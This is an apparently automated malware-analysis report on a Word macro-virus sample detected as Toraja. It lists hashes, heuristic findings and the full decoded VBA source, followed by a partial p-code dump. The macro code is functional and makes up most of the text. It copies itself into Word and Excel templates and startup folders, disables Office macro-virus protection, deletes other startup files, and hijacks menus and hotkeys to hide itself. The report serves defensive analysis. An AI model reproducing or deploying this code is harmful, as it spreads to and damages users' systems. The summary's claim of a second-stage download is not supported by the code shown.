Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4cfb8ef7cae3d8af…

MALICIOUS

Office (OLE)

62.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6d6e4a21923bd24e798670631ebcbb7a SHA-1: 706d2f38a4a79cdc4cbba5ffe876077c4b9834a7 SHA-256: 4cfb8ef7cae3d8af39e8e845f374abd4ef34aaca1f71f263a814f7e49336647f
416 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious OLE document containing VBA macros, specifically triggering AutoOpen and Auto_Open, indicating an attempt to execute code upon opening. Heuristics suggest legacy WordBasic and VBA macro usage, including CreateObject and GetObject calls, indicative of malicious intent. The ClamAV detection as 'Doc.Trojan.Toraja-3' and 'Win.Trojan.C-286' on an extracted artifact further confirms its malicious nature. The VBA script, though truncated, contains references to registration and startup paths, suggesting it aims to download and execute a second-stage payload.

Heuristics 10

  • ClamAV: Doc.Trojan.Toraja-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Toraja-3
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                .DeleteLines 1, .CountOfLines
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set xlsApp = CreateObject("Excel.Application")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set xlsApp = GetObject(, "Excel.Application")
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If RemStartUp(Application.StartupPath & Application.PathSeparator) = False Then
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 46724 bytes
SHA-256: a5b6696b9bc0af67353ce5991e5e75df10fd54b3c1092da719df5e2f4b4c05d1
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Tana17.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Toraja17"
'Created       : Toraja High Land 1998 by Marsel - Lina
'Modified      : July 1999
'--------------------------------------------------------------
Option Explicit
Option Compare Text
Dim Komp As Variant, ctl As Variant
Public Const regApp As String = "Application": Public Const regSecSet As String = "Settings"
Public Const TempVer As String = "Tana": Public Const MacName As String = "Toraja"
Public Const fStartUp As String = "AutoRecover": Public Const Ver As String = "17"
Dim CusProp, blnMod As Boolean, actWindow
Global Active, Temp, tempPath, blnFound As Boolean, blnXls As Boolean
Sub Register()
On Error Resume Next
If GetSetting(regApp, regSecSet, "FirstRun") = "" Then SaveSetting regApp, regSecSet, "FirstRun", Format(Date + 30, "dd-mm-yyyy")
If GetSetting(regApp, regSecSet, "Version") <> Ver Then SaveSetting regApp, regSecSet, "Version", Ver
If GetSetting(regApp, regSecSet, "UserKeyWord") <> MacName & Ver Then SaveSetting regApp, regSecSet, "UserKeyWord", ""
If GetSetting(regApp, regSecSet, "AuthorKeyWord") <> "Marsel" Then SaveSetting regApp, regSecSet, "AuthorKeyWord", ""
End Sub
Function Serang() As Boolean
Dim getDate As Date
On Error Resume Next
getDate = GetSetting(regApp, regSecSet, "FirstRun")
If getDate <= Date Then MsgBox "This command not available now.", vbCritical, "ToKing ..."
End Function
Sub AutoExec()
On Error Resume Next
Application.EnableCancelKey = 0
RemStartUp Application.StartupPath & Application.PathSeparator
If MacroContainer <> fStartUp & Ver & ".dot" Then
    Application.DisplayRecentFiles = False
    MenuWord
    Register
Else
    Application.Documents.Open Application.StartupPath & Application.PathSeparator & fStartUp & Ver & ".dat"
    WordBasic.DisableAutoMacros 1
    AddIns.Unload False
    WordBasic.DisableAutoMacros 0
    Documents(fStartUp & Ver & ".dat").Close False
    Application.StatusBar = ""
End If
End Sub
Sub AutoNew()
On Error Resume Next
TempActive
ActiveWindow.View.Type = 3
End Sub
Function RemStartUp(fPath) As Boolean
On Error GoTo salah
blnXls = False: blnFound = False: blnMod = False
If Dir(fPath, 16) <> "" Then
  Komp = Dir(fPath, 0 Or 1 Or 2)
  Do While Komp <> ""
    If Komp = fStartUp & Ver & ".dot" Then blnMod = True: SetAttr fPath & Komp, 1
    If Komp = fStartUp & Ver & ".dat" Then blnFound = True: SetAttr fPath & Komp, 1 + 2
    If Komp = fStartUp & Ver & ".XLS" Then blnXls = True
    If Komp <> "." And Komp <> ".." And Komp <> fStartUp & Ver & ".dot" And Komp <> fStartUp & Ver & ".dat" And _
       Komp <> "MSCREATE.DIR" And Left(Komp, 2) <> "~$" And Komp <> fStartUp & Ver & ".XLS" Then _
       SetAttr fPath & Komp, vbNormal: Kill fPath & Komp
      Komp = Dir
  Loop
  If blnMod = True And blnFound = True Then RemStartUp = True
End If
Exit Function
salah:
Resume Next
End Function
Sub AutoOpen()
On Error Resume Next
Dim strRun As String
ActiveTemp
RemoveAll
MenuWord
Register
If blnFound = True Then
   strRun = TempVer & Ver & "." & MacName & Ver & ".FoundIt"
   Application.OnTime Now + TimeValue("00:01:00"), strRun
End If
End Sub
Sub AutoExit()
Application.Visible = False
Application.DisplayAlerts = 0
ExportXls
If RemStartUp(Application.StartupPath & Application.PathSeparator) = False Then
   Documents.Add
   ActiveDocument.SaveAs Application.StartupPath & Application.PathSeparator & fStartUp & Ver & ".dat", 0
   ActiveDocument.SaveAs Application.StartupPath & Application.PathSeparator & fStartUp & Ver & ".dot", 1
End If
End Sub
Function KeyWord() As Boolean
If GetSetting(regApp, regSecSet, "UserKeyWord") = MacName & Ver Then KeyWord = True
End Function
Sub FileOpen()
On Error Resume Next
WordBasic.DisableAutoMacros 1
Dialogs(80).Show
TempActive
WordBasic.DisableAutoMacros 0
End Sub
Function KompProject(Asal, Tujuan) As Boolean
On Error GoTo salah
blnMod = False
For Each Komp In Tujuan.VBProject.VBComponents
   If (Komp.Name <> "ThisDocument") And (Komp.Name <> "Reference To Normal") And _
      (Left(Komp.Name, 5) <> "Sheet") And (Komp.Name <> "ThisWorkbook") And (Left(Komp.Name, 5) <> "Chart") Then
        If Komp.Name = MacName & Ver Then
              If Tujuan.VBProject.VBComponents(MacName & Ver).CodeModule.CountOfLines > 0 Then blnMod = True Else _
                  Tujuan.VBProject.VBComponents.Remove Tujuan.VBProject.VBComponents(Komp.Name)
        Else
            Tujuan.VBProject.VBComponents.Remove Tujuan.VBProject.VBComponents(Komp.Name)
        End If
      KompProject = True
   End If
Next Komp
If blnMod = False Then
   If EIKModul(Asal, Tujuan, MacName & Ver) = True Then KompProject = True
End If
salah:
End Function
Sub RemoveAll()
On Error Resume Next
Set ctl = Documents
For Each ctl In Documents
    If ctl <> ActiveDocument Then
        KompProject ActiveDocument, ctl
        If Len(ctl.Path) <> 0 Then ctl.Save
    End If
Next ctl
End Sub
Function PrintOke() As Boolean
Const CP = "cPrt"
On Error GoTo salah
If KeyWord = True Or GetCreator = True Then
    PrintOke = True
Else
    If CusProp.Item(CP).Value < 2 Then
        CusProp.Item(CP).Value = CusProp.Item(CP).Value + 1
        If Val(GetSetting(regApp, regSecSet, CP)) <= 50 Then
            SaveSetting regApp, regSecSet, CP, Val(GetSetting(regApp, regSecSet, CP)) + 1
            PrintOke = True
        End If
    End If
End If
salah:
End Function
Sub FilePrint()
On Error Resume Next
If PrintOke = True Then Dialogs(88).Show Else If Dialogs(88).Display = -1 Then Serang
End Sub
Sub FilePrintDefault()
FilePrint
End Sub
Sub ToolsCustomizeKeyboard()
Serang
End Sub
Sub ViewCode()
Serang
End Sub
Sub ViewVbCode()
If GetSetting(regApp, regSecSet, "AuthorKeyWord") = "Marsel" Then Application.ShowVisualBasicEditor = True Else Serang
End Sub
Sub ToolsCustomize()
Serang
End Sub
Sub FormatStyle()
If KeyWord = True Then Dialogs(180).Show Else Serang
End Sub
Sub ToolsRecordMacroToggle()
Serang
End Sub
Sub ToolsMacro()
Serang
End Sub
Sub FileTemplates()
Serang
End Sub
Private Sub ExportXls()
Dim xlsApp
Dim strFile As String
On Error Resume Next
Set xlsApp = GetObject(, "Excel.Application")
If xlsApp Is Nothing Then
    Set xlsApp = CreateObject("Excel.Application")
    If Not xlsApp Is Nothing Then GoSub CheckXls:   xlsApp.Application.Quit
Else
    GoSub CheckXls
End If
Exit Sub
CheckXls:
     RemStartUp xlsApp.StartupPath & xlsApp.PathSeparator
    If blnXls = False Then
        xlsApp.Workbooks.Add
        strFile = xlsApp.StartupPath & xlsApp.PathSeparator & fStartUp & Ver & ".XLS"
        xlsApp.ActiveWorkbook.SaveAs strFile
        tempPath = Application.NormalTemplate.Path & Application.PathSeparator
        EIKModul NormalTemplate, xlsApp.Workbooks(fStartUp & Ver & ".XLS"), MacName & Ver
        xlsApp.Workbooks(fStartUp & Ver & ".XLS").VBProject.Name = TempVer & Ver
        xlsApp.ActiveWindow.Visible = False
        xlsApp.Workbooks(fStartUp & Ver & ".XLS").Save
    End If
Return
End Sub
Sub ExportDok()
Dim dokApp
On Error Resume Next
Set dokApp = GetObject(, "Word.Application")
If dokApp Is Nothing Then
    Set dokApp = CreateObject("Word.Application")
    If Not dokApp Is Nothing Then GoSub CheckDoc: dokApp.Application.Quit True
Else
    GoSub CheckDoc
End If
Exit Sub
CheckDoc:
tempPath = Application.TemplatesPath
KompProject Workbooks(fStartUp & Ver & ".XLS"), dokApp.NormalTemplate
RemStartUp dokApp.StartupPath & dokApp.PathSeparator
Return
End Sub
Sub Auto_Open()
On Error Resume Next
Application.EnableCancelKey = 0
XlsActive
ExportDok
Application.DisplayRecentFiles = False
End Sub
Private Sub AllWorkBook()
blnMod = False
For Each Komp In Workbooks
      actWindow = Komp.Name
      If actWindow = fStartUp & Ver & ".XLS" Then blnMod = True
      If Komp.Path = Application.StartupPath And actWindow <> fStartUp & Ver & ".XLS" Then
               Komp.Close False
               Kill Application.StartupPath & Application.PathSeparator & actWindow
         End If
 Next Komp
If blnMod = False Then BuatXlsActive
End Sub
Sub XlsActive()
On Error Resume Next
Application.DisplayAlerts = False
CreateEvents
TempActive
AllWorkBook
Application.OnSheetActivate = "": Application.OnSheetDeactivate = "": Application.OnWindow = ""
MenuExcel
Application.OnWindow = fStartUp & Ver & ".XLS" & "!XlsActive"
Application.DisplayAlerts = True
End Sub
Sub TempActive()
On Error Resume Next
Aplikasi
If KompProject(Temp, Active) = True Then
   SetCusProp
   Active.VBProject.Name = MacName
   If Len(Active.Path) <> 0 Then Active.Save
End If
End Sub
Function EIKModul(Asal, Tujuan, Komp As String) As Boolean
On Error GoTo salah
    Asal.VBProject.VBComponents(Komp).Export tempPath & Komp
    Tujuan.VBProject.VBComponents.Import tempPath & Komp
    EIKModul = True
    Kill tempPath & Komp
salah:
End Function
Sub OpenFile()
On Error Resume Next
Application.DisplayAlerts = False
Application.Dialogs(1).Show
XlsActive
End Sub
Private Sub CreateEvents()
Dim vbComp
On Error GoTo salah
Lanjut:
If ActiveWorkbook.CustomDocumentProperties.Item("Event").Value <> MacName & Ver And ActiveWorkbook.Name <> fStartUp & Ver & ".XLS" Then
On Error GoTo FatalError
    Set vbComp = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    With vbComp
            .DeleteLines 1, .CountOfLines
            .InsertLines 1, "Private Sub Workbook_BeforePrint(Cancel As Boolean)"
            .InsertLines 2, "On Error Resume Next"
            .InsertLines 3, "If PrintOke = False Then"
            .InsertLines 4, "    Serang"
            .InsertLines 5, "    Cancel = True"
            .InsertLines 6, "End if"
            .InsertLines 7, "End Sub"
    End With
ActiveWorkbook.CustomDocumentProperties.Item("Event").Value = MacName & Ver
End If
FatalError:
Exit Sub
salah:
ActiveWorkbook.CustomDocumentProperties.Add ("Event"), False, 4, ""
Resume Lanjut
End Sub
Sub BuatXlsActive()
Dim Baru As String
On Error Resume Next
Application.ScreenUpdating = False
Workbooks.Add
Baru = Application.StartupPath & Application.PathSeparator & fStartUp & Ver & ".XLS"
ActiveWorkbook.SaveAs Baru
ActiveWindow.Visible = False
ActiveTemp
End Sub
Sub ActiveTemp()
On Error Resume Next
Aplikasi
If KompProject(Active, Temp) = True Then
   Temp.VBProject.Name = TempVer & Ver
   Temp.Save
   blnFound = True
End If
End Sub
Sub MenuExcel()
On Error Resume Next
For Each ctl In CommandBars.ActiveMenuBar.Controls("Tools").Controls("Macro").Controls
    ctl.OnAction = "Serang"
Next ctl
WordExcel
CommandBars("Ply").Controls("View Code").Delete
With Application
    .OnKey "%{F11}", "Serang": .OnKey "%{F8}", "Serang": .OnKey "%{F2}", "Serang"
    .OnKey "%{F4}", "Serang": .OnKey "{F12}", "Serang": .OnKey "^{o}", "OpenFile"
End With
CommandBars("Standard").Controls("Open").OnAction = "OpenFile"
CommandBars("Worksheet Menu Bar").Controls("File").Controls("Open...").OnAction = "OpenFile"
CommandBars("Worksheet Menu Bar").Controls("Window").Controls("Unhide...").Enabled = False
End Sub
Sub WordExcel()
On Error Resume Next
cmdBars CommandBars("Control Toolbox"), True
cmdBars CommandBars("Forms"), True
cmdBars CommandBars("ActiveX Control"), True
cmdBars CommandBars("Visual Basic"), True
cmdBars CommandBars.ActiveMenuBar, False
cmdBars CommandBars("Formatting"), False
cmdBars CommandBars("Standard"), False
End Sub
Sub cmdBars(cmd, blnVis As Boolean)
With cmd
If blnVis = True Then
    .Enabled = False: .Visible = False: .Protection = 8
End If
    .Protection = 1
End With
End Sub
Sub MenuWord()
On Error Resume Next
CustomizationContext = NormalTemplate
With Options
    .VirusProtection = False
    .SaveNormalPrompt = False
    .SaveInterval = 0
End With
FindKey(BuildKeyCode(1024, 119)).Disable
FindKey(BuildKeyCode(1024, 112)).Disable
WordExcel
End Sub
Sub SetCusProp()
On Error Resume Next
Set CusProp = Active.CustomDocumentProperties
CusProp.Add "Author", False, 4, "": CusProp.Add "cPrt", False, 1, 0
If PWords = True Then CusProp.Item("Author").Value = "Lina"
End Sub
Function GetCreator() As Boolean
On Error GoTo salah
Aplikasi
Set CusProp = Active.CustomDocumentProperties
If CusProp.Item("Author").Value = "Lina" Then GetCreator = True
salah:
End Function
Function PWords() As Boolean
If GetSetting(regApp, regSecSet, "AuthorKeyWord") = "Marsel" Then PWords = True
End Function
Sub FoundIt()
TempActive: blnFound = False
End Sub
Function Tator() As Boolean
If (KeyWord = False) And (GetCreator = False) Then Tator = True
End Function
Sub Aplikasi()
If Application.Name = "Microsoft Word" Then Doc Else Xls
End Sub
Sub Doc()
tempPath = Application.NormalTemplate.Path & Application.PathSeparator: Set Active = ActiveDocument: Set Temp = NormalTemplate
End Sub
Sub Xls()
Set Active = ActiveWorkbook: Set Temp = Workbooks(fStartUp & Ver & ".XLS"): tempPath = Application.TemplatesPath
End Sub


' Processing file: /tmp/qstore_lyp5norr
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1120 bytes
' Macros/VBA/Toraja17 - 22725 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0036 "Created       : Toraja High Land 1998 by Marsel - Lina"
' Line #1:
' 	QuoteRem 0x0000 0x0019 "Modified      : July 1999"
' Line #2:
' 	QuoteRem 0x0000 0x003E "--------------------------------------------------------------"
' Line #3:
' 	Option  (Explicit)
' Line #4:
' 	Option  (Compare Text)
' Line #5:
' 	Dim 
' 	VarDefn Komp (As Variant)
' 	VarDefn ctl (As Variant)
' Line #6:
' 	Dim (Public Const) 
' 	LitStr 0x000B "Application"
' 	VarDefn regApp (As String)
' 	BoS 0x0000 
' 	Dim (Public Const) 
' 	LitStr 0x0008 "Settings"
' 	VarDefn regSecSet (As String)
' Line #7:
' 	Dim (Public Const) 
' 	LitStr 0x0004 "Tana"
' 	VarDefn TempVer (As String)
' 	BoS 0x0000 
' 	Dim (Public Const) 
' 	LitStr 0x0006 "Toraja"
' 	VarDefn MacName (As String)
' Line #8:
' 	Dim (Public Const) 
' 	LitStr 0x000B "AutoRecover"
' 	VarDefn fStartUp (As String)
' 	BoS 0x0000 
' 	Dim (Public Const) 
' 	LitStr 0x0002 "17"
' 	VarDefn Ver (As String)
' Line #9:
' 	Dim 
' 	VarDefn CusProp
' 	VarDefn blnMod (As Boolean)
' 	VarDefn actWindow
' Line #10:
' 	Dim (Global) 
' 	VarDefn Active
' 	VarDefn Temp
' 	VarDefn tempPath
' 	VarDefn blnFound (As Boolean)
' 	VarDefn blnXls (As Boolean)
' Line #11:
' 	FuncDefn (Sub Register())
' Line #12:
' 	OnError (Resume Next) 
' Line #13:
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x0008 "FirstRun"
' 	ArgsLd GetSetting 0x0003 
' 	LitStr 0x0000 ""
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x0008 "FirstRun"
' 	Ld Date 
' 	LitDI2 0x001E 
' 	Add 
' 	LitStr 0x000A "dd-mm-yyyy"
' 	ArgsLd Format$ 0x0002 
' 	ArgsCall SaveSetting 0x0004 
' 	EndIf 
' Line #14:
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x0007 "Version"
' 	ArgsLd GetSetting 0x0003 
' 	Ld Ver 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x0007 "Version"
' 	Ld Ver 
' 	ArgsCall SaveSetting 0x0004 
' 	EndIf 
' Line #15:
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x000B "UserKeyWord"
' 	ArgsLd GetSetting 0x0003 
' 	Ld MacName 
' 	Ld Ver 
' 	Concat 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x000B "UserKeyWord"
' 	LitStr 0x0000 ""
' 	ArgsCall SaveSetting 0x0004 
' 	EndIf 
' Line #16:
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x000D "AuthorKeyWord"
' 	ArgsLd GetSetting 0x0003 
' 	LitStr 0x0006 "Marsel"
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x000D "AuthorKeyWord"
' 	LitStr 0x0000 ""
' 	ArgsCall SaveSetting 0x0004 
' 	EndIf 
' Line #17:
' 	EndSub 
' Line #18:
' 	FuncDefn (Function Serang() As Boolean)
' Line #19:
' 	Dim 
' 	VarDefn getDate (As Date)
' Line #20:
' 	OnError (Resume Next) 
' Line #21:
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x0008 "FirstRun"
' 	ArgsLd GetSetting 0x0003 
' 	St getDate 
' Line #22:
' 	Ld getDate 
' 	Ld Date 
' 	Le 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x001F "This command not available now."
' 	Ld vbCritical 
' 	LitStr 0x000A "ToKing ..."
' 	ArgsCall MsgBox 0x0003 
' 	EndIf 
' Line #23:
' 	EndFunc 
' Line #24:
' 	FuncDefn (Sub AutoExec())
' Line #25:
' 	OnError (Resume Next) 
' Line #26:
' 	LitDI2 0x0000 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #27:
' 	Ld Application 
' 	MemLd StartupPath 
' 	Ld Application 
' 	MemLd PathSeparator 
' 	Concat 
' 	ArgsCall RemStartUp 0x0001 
' Line #28:
' 	Ld MacroContainer 
' 	Ld fStartUp 
' 	Ld Ver 
' 	Concat 
' 	LitStr 0x0004 ".dot"
' 	Concat 
' 	Ne 
' 	IfBlock 
' Line #29:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt DisplayRecentFiles 
' Line #30:
' 	ArgsCall MenuWord 0x0000 
' Line #31:
' 	ArgsCall Register 0x0000 
' Line #32:
' 	ElseBlock 
' Line #33:
' 	Ld Application 
' 	MemLd StartupPath 
' 	Ld Application 
' 	MemLd PathSeparator 
' 	Concat 
' 	Ld fStartUp 
' 	Concat 
' 	Ld Ver 
' 	Concat 
' 	LitStr 0x0004 ".dat"
' 	Concat 
' 	Ld Application 
' 	MemLd Documents 
' 	ArgsMemCall Option 0x0001 
' Line #34:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #35:
' 	LitVarSpecial (False)
' 	Ld AddIns 
' 	ArgsMemCall Unlock 0x0001 
' Line #36:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #37:
' 	LitVarSpecial (False)
' 	Ld fStartUp 
' 	Ld Ver 
' 	Concat 
' 	LitStr 0x0004 ".dat"
' 	Concat 
' 	ArgsLd Documents 0x0001 
' 	ArgsMemCall Close 0x0001 
' Line #38:
' 	LitStr 0x0000 ""
' 	Ld Application 
' 	MemSt StatusBar 
' Line #39:
' 	EndIfBlock 
' Line #40:
' 	EndSub 
' Line #41:
' 	FuncDefn (Sub AutoNew())
' Line #42:
' 	OnError (Resume Next) 
' Line #43:
' 	ArgsCall TempActive 0x0000 
' Line #44:
' 	LitDI2 0x0003 
' 	Ld ActiveWindow 
' 	MemLd View 
' 	MemSt TypeOf 
' Line #45:
' 	EndSub 
' Line #46:
' 	FuncDefn (Function RemStartUp(fPath) As Boolean)
' Line #47:
' 	OnError salah 
' Line #48:
' 	LitVarSpecial (False)
' 	St blnXls 
' 	BoS 0x0000 
' 	LitVarSpecial (False)
' 	St blnFound 
' 	BoS 0x0000 
' 	LitVarSpecial (False)
' 	St blnMod 
' Line #49:
' 	Ld fPath 
' 	LitDI2 0x0010 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #50:
' 	Ld fPath 
' 	LitDI2 0x0000 
' 	LitDI2 0x0001 
' 	Or 
' 	LitDI2 0x0002 
' 	Or 
' 	ArgsLd Dir 0x0002 
' 	St Komp 
' Line #51:
' 	Ld Komp 
' 	LitStr 0x0000 ""
' 	Ne 
' 	DoWhile 
' Line #52:
' 	Ld Komp 
' 	Ld fStartUp 
' 	Ld Ver 
' 	Concat 
' 	LitStr 0x0004 ".dot"
' 	Concat 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St blnMod 
' 	BoS 0x0000 
' 	Ld fPath 
' 	Ld Komp 
' 	Concat 
' 	LitDI2 0x0001 
' 	ArgsCall SetAttr 0x0002 
' 	EndIf 
' Line #53:
' 	Ld Komp 
' 	Ld fStartUp 
' 	Ld Ver 
' 	Concat 
' 	LitStr 0x0004 ".dat"
' 	Concat 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St blnFound 
' 	BoS 0x0000 
' 	Ld fPath 
' 	Ld Komp 
' 	Concat 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	Add 
' 	ArgsCall SetAttr 0x0002 
' 	EndIf 
' Line #54:
' 	Ld Komp 
' 	Ld fStartUp 
' 	Ld Ver 
' 	Concat 
' 	LitStr 0x0004 ".XLS"
' 	Concat 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St blnXls 
' 	EndIf 
' Line #55:
' 	LineCont 0x0008 19 00 07 00 2E 00 07 00
' 	Ld Komp 
' 	LitStr 0x0001 "."
' 	Ne 
' 	Ld Komp 
' 	LitStr 0x0002 ".."
' 	Ne 
' 	And 
' 	Ld Komp 
' 	Ld fStartUp 
' 	Ld Ver 
' 	Concat 
' 	LitStr 0x0004 ".dot"
' 	Concat 
' 	Ne 
' 	And 
' 	Ld Komp 
' 	Ld fStartUp 
' 	Ld Ver 
' 	Concat 
' 	LitStr 0x0004 ".dat"
' 	Concat 
' 	Ne 
' 	And 
' 	Ld Komp 
' 	LitStr 0x000C "MSCREATE.DIR"
' 	Ne 
' 	And 
' 	Ld Komp 
' 	LitDI2 0x0002 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0002 "~$"
' 	Ne 
' 	And 
' 	Ld Komp 
' 	Ld fStartUp 
' 	Ld Ver 
' 	Concat 
' 	LitStr 0x0004 ".XLS"
' 	Concat 
' 	Ne 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld fPath 
' 	Ld Komp 
' 	Concat 
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' 	BoS 0x0000 
' 	Ld fPath 
' 	Ld Komp 
' 	Concat 
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #56:
' 	Ld Dir 
' 	St Komp 
' Line #57:
' 	Loop 
' Line #58:
' 	Ld blnMod 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld blnFound 
' 	LitVarSpecial (True)
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St RemStartUp 
' 	EndIf 
' Line #59:
' 	EndIfBlock 
' Line #60:
' 	ExitFunc 
' Line #61:
' 	Label salah 
' Line #62:
' 	Resume (Next) 
' Line #63:
' 	EndFunc 
' Line #64:
' 	FuncDefn (Sub AutoOpen())
' Line #65:
' 	OnError (Resume Next) 
' Line #66:
' 	Dim 
' 	VarDefn strRun (As String)
' Line #67:
' 	ArgsCall ActiveTemp 0x0000 
' Line #68:
' 	ArgsCall RemoveAll 0x0000 
' Line #69:
' 	ArgsCall MenuWord 0x0000 
' Line #70:
' 	ArgsCall Register 0x0000 
' Line #71:
' 	Ld blnFound 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #72:
' 	Ld TempVer 
' 	Ld Ver 
' 	Concat 
' 	LitStr 0x0001 "."
' 	Concat 
' 	Ld MacName 
' 	Concat 
' 	Ld Ver 
' 	Concat 
' 	LitStr 0x0008 ".FoundIt"
' 	Concat 
' 	St strRun 
' Line #73:
' 	Ld Now 
' 	LitStr 0x0008 "00:01:00"
' 	ArgsLd TimeValue 0x0001 
' 	Add 
' 	Ld strRun 
' 	Ld Application 
' 	ArgsMemCall OnTime 0x0002 
' Line #74:
' 	EndIfBlock 
' Line #75:
' 	EndSub 
' Line #76:
' 	FuncDefn (Sub AutoExit())
' Line #77:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt Visible 
' Line #78:
' 	LitDI2 0x0000 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #79:
' 	ArgsCall ExportXls 0x0000 
' Line #80:
' 	Ld Application 
' 	MemLd StartupPath 
' 	Ld Application 
' 	MemLd PathSeparator 
' 	Concat 
' 	ArgsLd RemStartUp 0x0001 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #81:
' 	Ld Documents 
' 	ArgsMemCall Add 0x0000 
' Line #82:
' 	Ld Application 
' 	MemLd StartupPath 
' 	Ld Application 
' 	MemLd PathSeparator 
' 	Concat 
' 	Ld fStartUp 
' 	Concat 
' 	Ld Ver 
' 	Concat 
' 	LitStr 0x0004 ".dat"
' 	Concat 
' 	LitDI2 0x0000 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0002 
' Line #83:
' 	Ld Application 
' 	MemLd StartupPath 
' 	Ld Application 
' 	MemLd PathSeparator 
' 	Concat 
' 	Ld fStartUp 
' 	Concat 
' 	Ld Ver 
' 	Concat 
' 	LitStr 0x0004 ".dot"
' 	Concat 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0002 
' Line #84:
' 	EndIfBlock 
' Line #85:
' 	EndSub 
' Line #86:
' 	FuncDefn (Function KeyWord() As Boolean)
' Line #87:
' 	Ld regApp 
' 	Ld regSecSet 
' 	LitStr 0x000B "UserKeyWord"
' 	ArgsLd GetSetting 0x0003 
' 	Ld MacName 
' 	Ld Ver 
' 	Concat 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St KeyWord 
' 	EndIf 
' Line #88:
' 	EndFunc 
' Line #89:
